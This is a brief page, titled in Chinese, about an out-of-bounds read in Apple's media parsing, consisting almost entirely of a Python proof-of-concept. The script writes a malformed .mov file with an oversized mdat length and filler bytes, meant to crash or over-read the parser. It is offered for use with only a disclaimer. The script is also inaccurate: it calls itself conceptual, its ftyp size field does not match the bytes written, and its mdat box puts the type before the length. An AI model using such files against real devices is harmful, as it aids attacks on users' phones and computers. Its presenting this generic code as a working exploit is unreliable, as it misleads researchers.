CVE-2025-43445 Apple产品越界读取漏洞

// CVE-2025-43445 PoC - Malicious Media File Trigger // This PoC demonstrates the structure needed to trigger the OOB read // Note: Actual exploit requires specific media file format manipulation import struct import os def create_poc_media_file(filename): """ Generate a malicious media file that may trigger CVE-2025-43445 The vulnerability exists in Apple's media file parsing components """ # Media file header with malformed data # This is a conceptual PoC - actual exploitation requires # specific media format knowledge and file structure manipulation poc_data = bytearray() # Malformed media header that triggers OOB read # Attackers craft specific byte sequences that bypass validation poc_data.extend(b'\x00\x00\x00\x20') # Size field poc_data.extend(b'ftyp') # File type marker poc_data.extend(b'XXXX') # Brand identifier poc_data.extend(b'\x00\x00\x00\x00') # Minor version # Crafted metadata chunks with oversized length fields # This may cause the parser to read beyond allocated buffer poc_data.extend(b'mdat') # Media data box poc_data.extend(struct.pack('>I', 0xFFFFFFFF)) # Oversized length poc_data.extend(b'A' * 1000) # Data that triggers OOB read # Save the PoC file with open(filename, 'wb') as f: f.write(poc_data) print(f"PoC file created: {filename}") print("Warning: This file is for educational and research purposes only") if __name__ == "__main__": create_poc_media_file("CVE-2025-43445.mov")